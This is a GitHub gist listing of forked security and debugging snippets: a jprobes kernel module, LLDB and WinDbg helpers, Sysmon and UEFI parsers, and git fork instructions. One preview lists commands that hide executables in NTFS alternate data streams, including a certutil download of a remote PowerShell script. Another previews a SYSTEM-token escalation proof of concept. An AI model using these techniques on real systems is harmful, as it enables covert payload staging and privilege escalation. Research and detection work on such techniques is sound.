Skip to content

Instantly share code, notes, and snippets.

@kernullist
kernullist / execute.c
Created November 5, 2018 23:48 — forked from dzeban/execute.c
jprobes for execve and execveat
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
char *newargv[] = { NULL, "-l", NULL };
char *newenviron[] = { NULL };
newargv[0] = argv[1];
@kernullist
kernullist / jprobe_etn_io.c
Created November 5, 2018 23:43 — forked from dzeban/jprobe_etn_io.c
jprobes example
/*
* Here's a sample kernel module showing the use of jprobes to dump
* the arguments of third-party network driver for Bercut ETN.
*
* For more information on theory of operation of jprobes, see
* Documentation/kprobes.txt
*
* Build and insert the kernel module as done in the kprobe example.
* You will see the trace data in /var/log/messages and on the
* console whenever do_fork() is invoked to create a new process.
@kernullist
kernullist / Exe_ADS_Methods.txt
Created September 14, 2018 00:15 — forked from api0cradle/Exe_ADS_Methods.md
Execute from Alternate Streams
#Add content to ADS
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe
findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt
makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab
print /D:c:\ads\file.txt:autoruns.exe c:\ads\Autoruns.exe
reg export HKLM\SOFTWARE\Microsoft\Evilreg c:\ads\file.txt:evilreg.reg
regedit /E c:\ads\file.txt:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey
expand \\webdav\folder\file.bat c:\ADS\file.txt:file.bat
@kernullist
kernullist / lldb_cheat_sheet.md
Created August 29, 2018 01:13 — forked from ryanchang/lldb_cheat_sheet.md
LLDB Cheat Sheet

LLDB Cheat Sheet

A complete gdb to lldb command map.

Print out

  • Print object
(lldb) po responseObject
(lldb) po [responseObject objectForKey@"state"]
  • p - Print primitive type
@kernullist
kernullist / SysmonEventGUIDParser.ps1
Created July 8, 2018 22:56 — forked from mattifestation/SysmonEventGUIDParser.ps1
Extracts fields from sysmon process and logon GUIDs
# Author: Matthew Graeber (@mattifestation)
$Epoch = Get-Date '01/01/1970'
# Conversion trick taken from https://blogs.technet.microsoft.com/heyscriptingguy/2017/02/01/powertip-convert-from-utc-to-my-local-time-zone/
$StrCurrentTimeZone = (Get-WmiObject Win32_timezone).StandardName
$TZ = [TimeZoneInfo]::FindSystemTimeZoneById($StrCurrentTimeZone)
# Parse out all the LogonGUID fields for sysmon ProcessCreate events
Get-WinEvent -FilterHashtable @{ LogName = 'Microsoft-Windows-Sysmon/Operational'; Id = 1 } | ForEach-Object {
@kernullist
kernullist / getsystem_parent.cpp
Created July 5, 2018 00:49 — forked from xpn/getsystem_parent.cpp
A POC to grab SYSTEM token privileges via PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
#include "stdafx.h"
BOOL SetPrivilege(HANDLE hToken, LPCTSTR Privilege, BOOL bEnablePrivilege) {
TOKEN_PRIVILEGES tp;
LUID luid;
TOKEN_PRIVILEGES tpPrevious;
DWORD cbPrevious = sizeof(TOKEN_PRIVILEGES);
if (!LookupPrivilegeValue(NULL, Privilege, &luid)) return FALSE;
@kernullist
kernullist / UEFISecDatabaseParser.ps1
Created May 9, 2018 00:00 — forked from mattifestation/UEFISecDatabaseParser.ps1
Parses signature data from the db and dbx UEFI variables.
function Get-UEFIDatabaseSigner {
<#
.SYNOPSIS
Dumps signature or hash information for whitelisted ('db' variable) or blacklisted ('dbx' variable) UEFI bootloaders.
.DESCRIPTION
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause

1. Clone your fork:

git clone git@github.com:YOUR-USERNAME/YOUR-FORKED-REPO.git

2. Add remote from original repository in your forked repository:

cd into/cloned/fork-repo
git remote add upstream git://github.com/ORIGINAL-DEV-USERNAME/REPO-YOU-FORKED-FROM.git
git fetch upstream
@kernullist
kernullist / memdump.js
Created April 20, 2018 02:51
A Windbg script to trace memory functions , written in Javascript
/*
How to use :
.load jsprovider.dll
.scriptload memdump.js
bp MSVCR120D!free ".scriptrun memdump.js"
bp MSVCR120D!malloc ".scriptrun memdump.js"
*/
"use strict";
@kernullist
kernullist / memdump.js
Created April 20, 2018 02:51
A Windbg script to trace memory functions , written in Javascript
/*
How to use :
.load jsprovider.dll
.scriptload memdump.js
bp MSVCR120D!free ".scriptrun memdump.js"
bp MSVCR120D!malloc ".scriptrun memdump.js"
*/
"use strict";